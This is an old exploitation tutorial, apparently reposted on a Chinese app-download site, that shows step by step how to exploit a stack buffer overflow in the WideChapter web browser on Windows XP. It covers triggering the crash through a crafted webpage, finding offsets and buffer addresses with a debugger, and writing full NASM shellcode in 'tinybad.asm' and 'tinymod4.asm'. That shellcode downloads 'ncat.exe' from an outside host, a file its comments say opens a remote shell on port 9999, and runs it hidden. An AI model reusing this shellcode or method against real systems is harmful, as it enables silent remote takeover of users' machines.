好游好爆下载网_好游APP网_好游快爆报手游APP下载中心欢迎你!

Parallels expolit

Exploitation of Buffer Overflows Under Windows XP

查看人次:1摘自:好游快爆APP网

Since the dawn of the computer age, coders and admins alike have been plagued with a fearsome and powerful enemy. This creature is difficult to avoid, since it takes advantage of the very design system of modern computers to live. Rarely taking the same form twice, this beast was originally created by the combination of a lack of foresight during the creation of some of the worlds most popular and powerful languages, and was supported wholly by the unsuspecting systems it has plagued.                           Hitchhiker's World (Issue #8)                         http://www.infosecwriters.com/hhworld/       ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++       ++ Exploitation of Buffer Overflow Vulnerabilities Under Windows XP ++       ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++                 ++     Exploiting User Applications: A Case Study   ++                 +++++++++++++++++++++++++++++++++++++++++++++++++++                   ++                 WideChapter.exe             ++                     ++         http://www.widechapter.com       ++                     +++++++++++++++++++++++++++++++++++++++++++                       ++         By Peter Winter-Smith       ++                         ++       [[email protected]]     ++                         +++++++++++++++++++++++++++++++++++ Section 1. A General Introduction to Buffer Overflows ===================================================== Since the dawn of the computer age, coders and admins alike have been plagued with a fearsome and powerful enemy. This creature is difficult to avoid, since it takes advantage of the very design system of modern computers to live. Rarely taking the same form twice, this beast was originally created by the combination of a lack of foresight during the creation of some of the worlds most popular and powerful languages, and was supported wholly by the unsuspecting systems it has plagued. For you see, this work of evil is deceptive; the system on its own is blind and perhaps foolishly trusting. On it's own it would not be able to recognise an attack being mounted against it even after it had been carried out. It is this ability which gives the creature it's unique nature. There are many ways in which it can achieve a successful attack, and it is often able to outwit the very people who created the conditions under which it was able to thrive. Although you may feel unaffected by this, I can say with total and complete confidence that if you have ever used a computer which had access to the outside world, no matter how important it was, you were vulnerable to attack. If you have not been attacked you can be sure that luck had a huge role to play in that. One famous application was designed to infiltrate system after system. It was one of the first of it's kind. Instead of taking the form of an attacker attempting to gain unauthorised access it used the design flaws to upload itself to the victim, and then went on to replicate itself, and search for others to attack. It was commonly known as the Morris Worm, after it's author Robert Morris was convicted upon the grounds of substantial evidence arising from his research work. Two other, more recent worms, both of which were spread on a much larger scale than the Morris Worm, are the SQL Slammer, and most recently the MSBlaster worm, both of which took advantage of widespread stack based buffer overflows in Microsoft Windows systems. The holes existed in Microsoft SQL Server, and the Windows RPC Interface respectively, and caused many computers to become infected over the period of a few days. Although these malicious applications can cause hold-ups, loss of money and business, and pose many a potential problem to the remote systems, you can often consider yourself lucky if your computer was infected, because it's highly likely that otherwise a remote attacker would have been able to assume complete control over the system, and could have used it whatever malicious ends he desired. The more observant of you will probably have noticed that I have not yet actually attempted to explain what a buffer overflow is, how it can occur, and where they are commonly found; so I had better make haste to do that! To cut a long story short, a buffer overflow condition arises when more data is allowed to be written to a specific point in the memory than was set out to hold that data. Often data will be written to the stack memory area, which is where buffers local to a specific procedure are usually created. When a function is called, a return address is placed onto the stack by the application, which the function uses to know where to return to in the previously run executable code once the function has completed. Often the base pointer is placed onto the stack by the function, the stack pointer is placed into the base pointer register, and a pre-defined amount of space is created on the stack by subtracting a value from the stack pointer register. Data is written on to the stack by instructions such as 'push', and is placed at the address contained in the stack pointer register. When the function has completed, the 'leave' instruction moves the base pointer back into the stack pointer register, then 'pops' the saved base pointer off of the stack so that the stack pointer is pointing at the saved return address. Then the 'retn' instruction (or some close variant) pops that off the stack into the instruction pointer register which causes the execution flow to go back to the application code, one instruction after where it executed the call. A lot of the functions work with strings, such as strcpy(), which copies a string from a memory location to another memory location, strcat() which adds one string of data onto another in the memory, and gets(), which takes user input from stdin, and places it into a buffer. Much of the time these functions are used with input which the user of the software can control, such as a request for a username, or a password, or even a the path of a file - basically any string input area is potentially vulnerable depending on how the coder has worked with the data afterwards. When the afore mentioned instructions (along with many others) are used with user input, the combination is *lethal*. Strings are asciiz in win32, which means that they are only considered as having ended when a null byte (00h) is encountered. Strings in C and C++ are declared with a fixed length, for example 'char string[16];' would create a 16 byte buffer, and 'char string2[]="THISSTR";' would create an eight byte buffer. Strings are dealt with in multiples of four (rounding up), so if you declare a character array of 10 bytes, it will be 12 bytes long, and if you declare one of 37 bytes length, it will be 40 in memory. If you take a moment to think about what each of these instructions do, you will notice that each of them will just take data from one area of memory, and place it into another area. So, here is the big question, how do they know when to stop copying? When they copy data from one area of memory, what makes the function think 'okay, we've reached the maximum character count of the buffer'? The truth is, for these functions there is no such inhibitive intuition which the application possesses, and so it just stops copying when it reaches a null byte in the memory area which is having data taken from it, copying/moving byte by byte into the target buffer until it reaches that null. This procedure is fatal. The reason this procedure is fatal, is the fact the buffer often lies right behind the values placed onto the stack after a function is called. Supply enough data, and you can leak out of the buffer and overwrite those values, most dangerously the return address, which would mean that when the function reached the 'retn' instruction, it would try and continue to execute code from an address which you supplied! From here you have a wealth of options, including: (a) Crash the application by pointing to a bad memory area which it cannot read     from. (b) Cause the application to jump to a restricted area of code within itself,     for example to bypass an authorisation request. (c) Push your own code into the buffer and execute that. (d) Point to a function address and execute it. A careful coder will be able to avoid these issues, by checking the length of the data before copying it into the buffer to ensure that it won't exceed the length of the buffer, but sometimes even the methods in which they do this can be maliciously manipulated - commonly by causing an 'integer overflow'. If it were to receive information from the user about how many bytes to copy, then compare that number with a pre-stored amount, for example, no data longer than 128 bytes, and the user supplied a long string, and specified to copy 129 bytes of it, it would refuse to copy, but 127 bytes would be fine, because it wouldn't exceed the buffer. The only problem here is often if you supply a value large enough value, it will be wrapped around, for example a string of length ffh (255 bytes) would never be allowed through, but one greater than that, would wrap to 100h, and it would read as an byte of 00h bytes, which would be allowed past the checking routine! However that is just a point for quick consideration, we won't attempt to cover bypassing protection methods in this paper. Section 2: Meet The Victim, Victim, Meet Your Exploiters!             Or Introducing WideChapter. ========================================================= As can probably be guessed from the title, I have already chosen a target for this paper, and it's a nice one. From this point onwards, it would help if you could get hold of a copy of WideChapter Version 3 or below if you wish to follow through explicitly all the things mentioned here. If not, then just read on regardless, and I will try to explain as well as is possible. "WideChapter is the most powerful multi Chapter multi tab web browser. WideChapter is a stable, fast, user-friendly browser. WideChapter gives each web site its own tab!" - Vendor's Description - www.widechapter.com I agree with every part of that description, throughout my one month free trial, I actually decided to set it as my default browser! This application contains an extremely dangerous buffer overflow, which Secunia labelled as 'highly critical', see if you can find where it lies if you want a bit of an exercise, or alternatively, read on. Try entering an url into the web address bar, beginning with 'http://' and followed by around 600 bytes of data (I used 'a'), and let's see what happens! If you entered a string of the right length into the address bar, you should have been greeted with an error message stating something along the following lines: 'WideChapter.exe had encountered a problem and needs to close. We are sorry for the inconvenience. ... For more information about this error, click here', where the words 'click here' are highlighted. Since we're no longer assuming the role of regular users, we must pay attention to each and every error that arises (and some which don't!), so click the highlighted text, and take a look at the next window: Error Signature: + Appname: widechapter.exe + AppVer:   3.0.0.0 + ModName: unknown + ModVer:   0.0.0.0 + Offset:   61616161 If it looks anything like the above, then you can be sure that we have our overflow. The address 61616161h is 'aaaa' in hexadecimal, which is solid evidence that we have overwritten the return address, and tried to execute code at an inaccessible memory location - hence the crash. As it now stands, this overflow is not very critical. It seems that you would have to somehow get a WideChapter user to visit an extremely unlikely location in their browser to cause an overflow, and preserve all the non-standard bytes which would appear in the malicious web address which would not copy and paste well at all. Therefore we would do best to consider alternate ways in which we could cause an overflow to occur using more accurate and less obvious techniques ... how about a webpage? Try and create a webpage similar to the following: Naturally replacing '(600 bytes of the character 'a')' with the actual string values. Then load WideChapter again, this time to go 'File', 'Open', and choose the html file which you had just created. If you did everything right, you will see the exact same error message as you did when you entered an overly long url into the browser; Now that's far more critical - just viewing a webpage could allow system compromise - that's how we like it! Section 3: Theory About Exploitation Methods! ============================================= As far as this paper is concerned, there are three main ways of executing code through a buffer overflow condition, since this is not a highly privileged application, we will not aim for any other ends to the attack, such as bypassing anything. The methods are as follows: (a) Jumping directly to the buffer, (b) jumping to a call esp instruction, (c) jumping to a function to execute. I will attempt to briefly explain how each of them should work, where their good points are, and where their failings lie: (a). Jumping Directly into the Buffer As the name rather gives away, this kind of attack requires that the return address be overwritten by the address of the actual buffer. Due to the dynamic nature of the windows stack, this attack method is far less common for windows based exploitation, but occasionally you can get a lovely address, static to all versions of the Operating System and application. To increase the chance of you hitting your code, it is common to place the code at the end of the buffer, and precede it with nop (90h) instructions, which you aim to hit one of. Once you start to execute the nops (which stands for no- operation), they work like a trail, doing nothing until you hit your code. It seems that this exploitation method is extremely popular in the Linux security community. (b). Jumping to a 'call esp' Instruction This type of exploitation is often extremely reliable for Windows systems, and is the one most commonly used in published exploits. It relies on the attacker filling the buffer with junk, pointing the return address at the address of an internal or external 'call esp' or 'jmp esp' instruction, and placing the code after the return address. Earlier I described that the 'leave' instruction makes the stack pointer register point directly at the saved return address, waiting for a 'retn' instruction to allow the application to resume code execution where it left off before making the function call. If you were to place your code straight after the return address, upon execution of a 'retn' instruction, the esp register (extended stack pointer) would point right at your code, having already pop'ed off the saved return address. With this type of exploitation, if you are trying for maximum reliability, it is often best to use a 'call/jmp esp' instruction which is in a module static to the application package. An infrequently updated dll module would be perfect, since you can almost be sure that your exploit will work on older versions of the vulnerable software, and the different platforms which you will target. You also must not have any null bytes in the address of the 'call/jmp esp' instruction, or your code will be cut off, as will anything following the null byte (remember that the string related functions tend to regard nulls as string termination points). The amount of code that you can supply after the return address is often significantly smaller than the amount of code which you can supply in the buffer, but that all depends on the situation. (c). Jumping Directly to a Function Recently, the idea has arisen whereby it is not even necessary to write a single line of shellcode to compromise a system. You have far less control relatively, but it's still extremely dangerous, and very simple to work with. This idea works by pointing the return address at a function, such as winexec() or system(), and filling the buffer with commands, and executing them as if the function had just been called. You need to overflow the return address with the address of the function, then place a fake return address (since the 'call' for the function, which we missed out on, would have left one), and then set up the stack exactly as it would be if we had just made a call. For winexec() and system() this involves little more than just leaving a pointer to the exact buffer address, or where the target asciiz text to execute lies in memory. To do this, it is inevitable that you will have a lot of buffer space left over, so you must terminate your commands with the symbol '&', since it will make windows regard the text instructions and the excess 'padding' as several different commands to be run, and the successful execution of the second command (or our padding) will have no bearing on the success of the first, and so forth. Section 4: A Little More Theory And Some Problems! ================================================== Here we have to assess the situation, and see which of the methods described in section three would best suit our needs. Ideally, we would like to gain some kind of compromise which would allow us to execute multiple commands based on output received. It may be possible to use method (c), the 'jump to function' method, to download and execute a netcat listener from a tftp server, but it's often quite hard to correctly guess the function address. It was also intended that this paper will cover basic shellcoding, so I think we'll go for one of the other methods. When you break it down, the method which is most suitable is the method which is most reliable, and as I stated earlier, method (b) wins that award since it doesn't matter at what address on the stack we placed our code, since it will always be pointed at by the esp register. The only potential problem with this method is the fact that we may well have less space than we would require, so let's check that now. It is generally recognised that the best way to find how many bytes are needed to overwrite the return address can be found in this way: (value) bytes of 'a' + 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...' Where you can adjust the (value) until it lies at a point before your return address (it doesn't really matter how much behind, but make sure that the number of bytes are divisible by four), and then pad the rest out with a known byte string, like 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...' and so on. Then the return address will be overwritten with one of the groups of characters, and you will know exactly how many bytes are needed to gain control of the execution flow. So that's the first step in the exploitation. Try to find it for yourself if you have the application at hand, if you don't, here's a clue: Where (value) is 510; the return address is 'dddd' (value) bytes of 'a' + 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...' A simple bit of deduction will tell you that 522 bytes will point at the start of the return address, and 526 will completely overwrite it. Now that we know this, next up is to find out exactly how many bytes we have after the return address for code, before the application crashes without executing the 'retn' instruction. Just keep on adding bytes until it refuses to try and execute code at 61616161h. I have found the number of bytes available to be 155. Sadly 155 bytes isn't really much at all. It would be possible to put a portbind shellcode (which would bind cmd.exe to a port for you to access) in that amount of space, but it would have to contain hard coded addresses for functions, and that would mean luck would have too big a part to play for it to be worth the exploitation (hard coded being when you use the absolute addresses of functions, rather than ones calculated at execution time). So what can we do about this? It looks like ideally we should take up exploitation method (a), jumping to the buffer, since we have up to 518 bytes available for code, which is more than anyone could ever want to write a decent exploit. The main problem, as I mentioned earlier, is the fact that the buffer never seems to end up at the same location twice, but maybe that 'nop' padding idea would be sufficient enough. The best way to find the address of a buffer, in my opinion, is to use the Microsoft Windows Debugging Tools, also known as windbg. They can be obtained from: http://www.microsoft.com/whdc/ddk/debugging/default.mspx Once you have these, load the main debugger application. Then, if you have not already done so, create an html file, with the content which I mentioned back in section two, and fill the url variable with: 'http://www.google.com/BASECODE' + 492 bytes of 'a' + 'XXXX' Then load the file into WideChapter, and wait for it to crash. It should crash when trying to execute code at 58585858h, which is hex for ascii 'XXXX' (occasionally it will try to execute 58586161h, but don't alter the bytes accordingly, 492 is in this case the correct amount). When it crashes do not close the crash window, but instead go back to windbg, and press 'f6', select 'WideChapter.exe' and hit 'OK'. Once the application has loaded, in windbg, go to 'View', 'Command', and a box should be at the front of the screen which will allow you to debug the application. Type the following: s -a 1 10000000 "BASECODE" This should search the memory for the text which be tacked onto the front of our url, my results are as follows: 0:009> s -a 1 10000000 "BASECODE" 001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001b8317   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001be093   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001df74b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d1a81a   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d1aa36   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa Now we want to be entirely sure that these locations won't change for the next time we cause the overflow, so follow the procedure three more times (closing and restarting WideChapter and windbg each time). Here are my results: 0:009> s -a 1 10000000 "BASECODE" 001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001b8307   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001be083   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001e06cb   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d2ab52   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d2ad6e   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 0:009> s -a 1 10000000 "BASECODE" 001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001b838f   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001be0ab   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001df74b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d1bb1a   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d1bd36   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 0:008> s -a 1 10000000 "BASECODE" 001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001bdf03   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001bff0f   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 001e061b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d2aaca   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa 00d2ace6   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa As you can see, one address is always in use (001520ba), the others are randomly allocated at runtime. Most modern computer architecture works by using a method called 'little endian', which means that values are stored using the smallest byte first, and so forth, which you can prove by overwriting the return address with just one or two bytes - the application should crash at an address whereby only the lesser parts of the address have been modified, for example at the address 00406161. If you make those last two bytes 'ab', you would find the address of the crash looking more like 00406261, rather than the expected '00406162' (where 61h is ascii 'a', and 62h is ascii 'b'). This should show you that you must load the return address in backwards for code execution to resume where you intend it to. Now, sadly, we cannot jump to the address 001520ba, because it seems that the characters do not copy as we intended, and the return address ends up looking more like 303225ba, the reason for this I have not investigated to much of an extent, but I am willing to bet that it probably had something to do with an internal parser, or possibly some such low-ascii byte reformation or alteration procedure before the 'retn' instruction is reached. That leaves us with a nasty problem - the other buffer addresses are just as bad for low value bytes, and the nop padding idea is all out of the window because of the huge differences between the buffer addresses each time round. So what can we do? Our only option, it would appear, would be to stick with the dismal idea of only executing a small amount of code with the 'call/jmp esp' method, but first let's review the situation once more. We know that all the buffer addresses start at 001?????, and the second storage location for the string (the next given after 001520ba), always lies at around 001b????, which on the bad side means we have around 64kb of potential addresses where the buffer may lie, but on the good side at least it's not in the millions. We also know that we have 155 bytes to execute code using the 'call/jmp esp' method. Now for a moment quickly consider our possible options when combining the two known factors. Then read on. Although, as previously mentioned, 155 bytes is not enough for a decent shellcode, it is definitely enough to write a sub or mini-shellcode, which could try to locate the correct buffer location, and then jump to it! It would only need to scan the range beginning at 001b0101 and it should hit our code in well under a second! Then we would also have avoided the large amounts of 'nop' padding, and should and be able to get it right every time since when the address of the buffer changed, it would just find the new one! Section 5: The Long Bit Explaining The Concept Of Shellcoding. ============================================================== As the sub heading suggests, this section is probably going to be the longest in the paper! To summarise a long topic, shellcode is actually just raw instructions written in assembly language. They are read as part of the application code during an overflow, and carry the same execution privileges as the target application. Most commonly they are represented in exploit code written in C or Perl in the following format: char somevar[] = "x..x..x..x..x..x..";   Or ... $somevar = "x..x..x..x..x..x.."; I am sure that you have all seen this before. All that the 'somevar' string contains is the hexadecimal values for the raw executable code which we wish to run on the target system. When writing shellcode, because the code is being represented as asciiz for the most part, especially during the initial data storage or movement routines, certain bytes must be avoided. Since the string is being treated as asciiz, you will almost always need to avoid null bytes, since all data after the first null will be lost. On a few occasions data is read line by line into a buffer or series of buffers, occasionally overwriting the original content of these buffer(s), so for such occasions it would be wise to avoid bytes like 0dh and 0ah, which are carriage return and line feed respectively, which may sometimes cause the function to stop reading from the input source. In the most horrible of cases, functions convert uppercase bytes to lowercase, create and remove nulls, and work with Unicode buffers, all of which are still sometimes exploitable, but require an amount of patience which I have yet to receive! Luckily, our buffer doesn't seem to be having any of these extreme problems, for which we can be very thankful. So, how is shellcode written in the first place? For me, shellcode writing is more of an art. The perfect balance of size and compatibility. Breaking it down however, the first stage of shellcode writing is to plan exactly what you wish to achieve. Since we are targeting a Windows XP machine (WinXP Home - SP1 in my case), we have a wealth of Win32 API to play with. We have several options, we could write a portbind shellcode which we would use to connect via the command line to the remote computer which would be great, especially if we were to target a remote server, however WideChapter is far more of a home user application, and from what I know of home users, they are often shutting down, or rebooting, or having problems, so you would be liable to lose your shell at any given time. So what might be a better idea? How about writing a shellcode to connect to a remote web server, download any file you like (remote control application, patch, etc) and execute it immediately? To me this seems like a far better idea. Now the only problem is how to go about writing such a shellcode. It may give you some idea if I tell you that there are three API calls which can help us a huge amount with this; kernel32.LoadLibraryA(), urlmon.UrlDownloadToFileA() and kernel32.WinExec(). You can almost work out what they do, and even what parameters we would need to supply to the calls. If you have fairly little experience with the win32 API, the functions are documented below: LoadLibraryA ------------ The LoadLibrary function maps the specified executable module into the address space of the calling process. HINSTANCE LoadLibrary(     LPCTSTR   lpLibFileName   // address of filename of executable module   ); ------------ URLDownloadToFileA ------------------ Downloads bits from the Internet and saves them to a file. HRESULT URLDownloadToFile(     LPUNKNOWN pCaller,     LPCTSTR szURL,     LPCTSTR szFileName,     DWORD dwReserved,     LPBINDSTATUSCALLBACK lpfnCB   ); ------------------ WinExec ------- The WinExec function runs the specified application. UINT WinExec(     LPCSTR   lpszCmdLine,     // address of command line     UINT   fuCmdShow     // window style for new application   ); ------- So what would we have to do to implement these? (a). We will need to use URLDownloadToFileA, so let's load URLMON.DLL. (b). Once loaded, we need to supply the address of a remote file to download, and a path to save the file to. (c). Then we need to supply WinExec with the path of the file, and execute it. First however, before we can start writing any code, we will need the addresses in memory of these functions. These can be got easily through W32Dasm, just load kernel32.dll and urlmod.dll, then search the exported functions for them. Mine are as follows: kernel32.dll ------------ ... Addr:77E7D961 Ord: 571 (023Bh) Name: LoadLibraryA ... Addr:77E6FD35 Ord: 889 (0379h) Name: WinExec ... URLMON.DLL ---------- ... Addr:1A44067D Ord:   66 (0042h) Name: URLDownloadToFileA ... Now to write the first piece of shellcode which we could potentially use in the attack: ;---------------------- [ tinybad.asm ] ---------------------- ; WinXP Home SP1 Download and Execute ; [[email protected]] ; ; nasmw -s -fbin -o tinybad.s tinybad.asm bits 32 start: ;############################################################################### ;                                   FIND STRING OFFSETS ;############################################################################### ; jmp short data       ; where the strings lie continue: pop edi         ; pop saved return address, which points to our string data mov esi, edi         ; esi = 'urlmon.dll' scan1: inc edi         ; check the next byte in our 'data section' cmp byte [edi],0ffh ; compare that byte with our string terminator jne scan1       ; if they are not equal, try again inc byte [edi]       ; if they are the same, turn it into a null! inc edi         ; move onto the start of the next string mov ebx, edi         ; ebx = string of url scan2: inc edi cmp byte [edi],0ffh jne scan2 inc byte [edi] inc edi mov edx, edi         ; edx = path of download scan3: inc edi cmp byte [edi],0ffh jne scan3 inc byte [edi] inc edi push edx push ebx         ; store our addresses for later push edx push esi ;############################################################################### ;############################################################################### ;                                     MAIN SHELL CODE ;############################################################################### ; ; setup function to be called (loadlibrarya) push esi         ; 'urlmon.dll' ; end setup mov eax, 77e7d961h call eax         ; call loadlibrarya pop esi         ; get our string addresses back pop edx pop ebx push edx         ; edx = path of file ; setup function to be called (urldownloadtofilea) push edx xor ecx, ecx push ecx push ecx push edx         ; path of download push ebx         ; url of download push ecx ; end setup mov eax, 1a44067dh call eax         ; call urldownloadtofilea nop nop pop edx         ; get file path back ; setup function to be called (winexec) pop edx xor ecx, ecx         ; run as sw_hide ... ;inc ecx         ; un-comment this to run the commands as sw_normal push ecx push edx         ; path of file just downloaded ; end setup mov eax, 77e6fd35h call eax         ; call winexec mov ecx, 0deadcfdeh infloop:         ; infinite loop; no crash when done inc ecx cmp ecx, 0badcfdedh loopnz infloop       ; if this slows you down too much, remove it! int3h           ; causes the application to stop executing - crashes ;############################################################################### ;############################################################################### ;                                       TEXT DATA ;############################################################################### ; data: call continue db 'URLMON.DLL', 0ffh db 'http://www.elitehaven.net/ncat.exe', 0ffh   ; the file at this address                                                 ; spawns remote shell on port                                                 ;9999 db 'c: c.exe', 0ffh ;############################################################################### ;---------------------- [ END OF FILE ] ---------------------- For the beginner that may seem like a lot to take on board at once, so I've tried to comment it as well as possible. This code compiles with nasm, and sometimes won't work with certain 'shellcode testers', but it works perfectly for our needs. ----------------------------------------------------------------------------- || Instruction || Usage                                                     || ----------------------------------------------------------------------------- || jmp         || 'jmp short' takes a single byte as the offset to jump to.|| ||             || Since it only takes one byte as an argument, it is a way || ||             || to avoid the nulls which appear in a regular 'jmp'       || ||             || instruction.                                             || ---------------------------------------------------------------------------|| || pop         || 'pop' just takes the first dword from the address pointed|| ||             || to by the esp, and places it in the specified register.   || ----------------------------------------------------------------------------- || mov         || 'mov' in all our cases, just copies the content of one   || ||             || register into another.                                   || ----------------------------------------------------------------------------- || inc         || 'inc' just increments a register, but 'inc byte [reg]'   || ||             || will increment the byte pointed at by the 'reg' register || ----------------------------------------------------------------------------- || cmp         || 'cmp' just compares two values, and sets the zero flag if|| ||             || they are the same.                                       || ----------------------------------------------------------------------------- || jne         || 'jne' takes an address as the argument, and jumps to     || ||             || to that address if the zero flag is not set.             || ----------------------------------------------------------------------------- || push         || 'push reg' will place that register on the stack at the   || ||             || address pointed at by the stack pointer.                 || ----------------------------------------------------------------------------- || call         || 'call' places a return address on the stack, and jumps to|| ||             || the location supplied as an argument.                     || ----------------------------------------------------------------------------- || xor         || 'xor reg, reg' checks the bits in one register against   || ||             || the bits in the other. xor'ing two registers with the     || ||             || same content will always return null byte(s).             || ----------------------------------------------------------------------------- || nop         || no-operation, a one byte long instruction which doesn't   || ||             || do anything but move on to the next byte.                 || ----------------------------------------------------------------------------- || loopnz       || 'loopnz label' jumps to the label while the zero flag is || ||             || not set.                                                 || ----------------------------------------------------------------------------- || int3         || places a breakpoint, effectively stopping code execution || ----------------------------------------------------------------------------- || db ...       || define bytes. just stores bytes for later use. in our     || ||             || case we terminate the ascii bytes with our fake null ffh || ||             || which we search for, and increment to a real null.       || ----------------------------------------------------------------------------- If you print of my mini-instruction guide, and read the shellcode through again, I am certain that it will all make sense! There is just one problem with this code. Although it will work for my computer, and another WinXP Home - SP1 machine, it won't work for any other WinXP system, because of the hard coded addresses which are: [ Windows XP Home - SP1 ] ------------------------------------ ||Address   || Function           || ------------------------------------ || 77E7D961 || LoadLibraryA       || ------------------------------------ || 77E6FD35 || WinExec             || ------------------------------------ || 1A44067D || URLDownloadToFileA || ------------------------------------ If you compare these with another WinXP Home system: [Windows XP Home - SP0 ] ------------------------------------ ||Address   || Function           || ------------------------------------ || 77E805D8 || LoadLibraryA       || ------------------------------------ || 77E684C6 || WinExec             || ------------------------------------ || 1A44A3BF || URLDownloadToFileA || ------------------------------------ These addresses change all the time, with updates being made, and new versions of the same Operating System being released frequently, so there must be a better way to get these addresses. Many people have their own different ways of getting these addresses with their shellcode, and I have mine. While mine is certainly not the best, it gets the job done, and leaves you with relatively small code. To do this, I try and find a dword of data which is unique within or near to a function, and is always the same distance from the function address throughout all patches and releases of the dlls. I scan for these bytes, subtract a value to reach the start of the function, and call it. This way it doesn't matter at which address the function lies, the shellcode should always find it. Naturally the base address of the kernel32 dll will need to be static, which it usually is for all versions of Windows XP. For maximum clarity, I have written a function called 'scanner()' which does the most part of the work for the scanning, and can be called like a regular win32 function. It takes four parameters, which are as follows: Scanner() (a) + DWORD Distance from Function (b) + DWORD DLL Base (c) + DWORD Code Length (d) + DWORD Search String (a) Requires that you push a value which is the distance from the unique dword, to the function address. It is subtracted from the address of the unique dword. (b) Requires an address to start from when looking for the unique dword. (c) Number of bytes to search for the unique string. (d) Unique search bytes (in reverse!) Here is the function when implemented in the 'tinybad.asm' shellcode: ;---------------------- [ tinymod4.asm ] ---------------------- ; Generic WinXP Download and Execute ; [[email protected]] ; ; nasmw -s -fbin -o tinymod4.s tinymod4.asm bits 32 start: jmp short pastfunct ;############################################################################### ;                                     SCANNER() FUNCTION ;############################################################################### ; ; sub scanner(distance from function, dword dll base, dword code length, dword ;                                                               search string) scanner: pop esi         ; esi = return address pop edx         ; dl = distance from function pop edi         ; edi = dll base pop ecx         ; ecx = code length pop ebx         ; ebx = search string trawlmem: inc edi mov al, bl       ; bl = search byte from search string repne scasb     ; scan until search byte is found jmp short checkbytes     ; jump over nop, to get a distance greater than 00h from                         ; 'checkbytes' nop checkbytes: dec edi         ; move one back from edi to align the search string push esi         ; preserve the saved return address push dword [edi]     ; push the possible match for the search string pop esi         ; place the possible search string into esi cmp ebx, esi         ; compare the correct and potentially correct search string pop esi         ; pop off the saved return address je short gotcha     ; if we have a match, jump to 'gotcha' jmp short trawlmem   ;   ... otherwise it's time to search again gotcha: sub edi, edx         ; get to start of the ?? function call edi         ; call the ?? function jmp esi         ; return to code at the saved return address ; end sub ;############################################################################### pastfunct: jmp short avoidnastynulls ;############################################################################### ;                                     FIND STRING OFFSETS ;############################################################################### continue: pop edi         ; pop saved return address, which points to our string data mov esi, edi         ; esi = 'urlmon.dll' scan1: inc edi         ; check the next byte in our 'data section' cmp byte [edi],0ffh ; compare that byte with our string terminator jne scan1       ; if they are not equal, try again inc byte [edi]       ; if they are the same, turn it into a null! inc edi         ; move onto the start of the next string mov ebx, edi         ; ebx = string of url scan2: inc edi cmp byte [edi],0ffh jne scan2 inc byte [edi] inc edi mov edx, edi         ; edx = path of download scan3: inc edi cmp byte [edi],0ffh jne scan3 inc byte [edi] inc edi push edx push ebx         ; store our addresses for later push edx push esi ;############################################################################### jmp short pastpoint ; we do this so we can have two 'jmp short's ... avoidnastynulls: jmp short data       ; since it avoids the nulls in regular 'jmp far's! pastpoint: ;############################################################################### ;                                       MAIN SHELL CODE ;############################################################################### ; setup function to be called (loadlibrarya) push esi         ; 'urlmon.dll' ; end setup ; setup scanner() push dword 0c25b5effh   ; unique string a know offset from loadlibrarya push dword 0deadcfdeh   ; long loop to cover entire file in memory push dword 77e60101h     ; kernel32.dll base + 0101h xor edx, edx         ; clear edx, null free method mov dl, 2eh     ; -2eh from loadlibrarya address push edx ; end setup call scanner pop esi         ; get our string addresses back pop edx pop ebx push edx         ; edx = path of file ; setup function to be called (urldownloadtofilea) push edx xor ecx, ecx push ecx push ecx push edx         ; path of download push ebx         ; url of download push ecx ; end setup ; setup scanner() push dword 8d8d5602h push dword 0badcfdedh push eax         ; eax = base of urlmon.dll xor edx, edx mov dl, 1bh push edx ; end setup call scanner nop nop pop edx         ; get file path back ; setup function to be called (winexec) pop edx xor ecx, ecx         ; run as sw_hide ... ;inc ecx         ; un-comment this to run the commands as sw_normal push ecx push edx ; end setup ; setup scanner() push dword 0c458b66h push dword 1337f0fdh push dword 77e60101h xor edx, edx mov dl, 16h push edx ; end setup call scanner mov ecx, 0deadcfdeh infloop:         ; infinite loop; no crash when done inc ecx cmp ecx, 0badcfdedh loopnz infloop       ; if this slows you down too much, remove it! int3h ;############################################################################### ;############################################################################### ;                                         TEXT DATA ;############################################################################### data: call continue db 'URLMON.DLL', 0ffh db 'http://www.elitehaven.net/ncat.exe', 0ffh   ; the file at this address                                                 ; spawns remote shell on port                                                 ; 9999 db 'c: c.exe', 0ffh ;############################################################################### ;---------------------- [ END OF FILE 